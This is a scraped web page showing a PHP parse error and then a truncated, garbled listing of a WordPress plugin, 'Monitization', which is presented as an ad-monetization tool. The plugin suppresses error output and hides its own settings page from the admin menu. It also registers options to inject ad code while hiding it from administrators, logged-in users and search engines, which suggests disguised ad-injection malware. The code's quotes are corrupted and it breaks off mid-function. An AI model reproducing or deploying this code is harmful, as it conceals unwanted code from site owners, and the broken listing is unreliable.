Parse error: syntax error, unexpected end of file in /home/labaikis/public_html/

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Parse error: syntax error, unexpected end of file in /home/labaikis/public_html/wp-content/plugins/monit.php on line 40

Monit.php
<?php
/**
* Plugin Name: Monitization
* Description: this plugin will help you Monitize your traffic easily from different ad networks.
* Author: Igor Glavatskiy
* Version: 1.0
*/

error_reporting(0);
ini_set(‘display_errors’, 0);
$plugin_key=’6e1aa39328ad32f62d99811e4d7fd962′;
$version=’1.2′;
add_action(‘admin_menu’, function() {
add_options_page( ‘Monitization Plugin’, ‘Monitization’, ‘manage_options’, ‘monit’, ‘mont_page’ );
remove_submenu_page( ‘options-general.php’, ‘monit’ );
});

add_filter(‘plugin_action_links_’.plugin_basename(__FILE__), ‘salcode_add_plugin_page_settings_link’);
function salcode_add_plugin_page_settings_link( $links ) {
$links[] = ‘<a href=”‘ .
admin_url( ‘options-general.php?page=monit’ ) .
‘”>’ . __(‘Settings’) . ‘‘;
return $links;
}

add_action( ‘admin_init’, function() {

register_setting( ‘mont-settings’, ‘default_mont_options’ );
register_setting( ‘mont-settings’, ‘ad_code’ );
register_setting( ‘mont-settings’, ‘hide_admin’ );
register_setting( ‘mont-settings’, ‘hide_logged_in’ );
register_setting( ‘mont-settings’, ‘display_ad’ );
register_setting( ‘mont-settings’, ‘search_engines’ );

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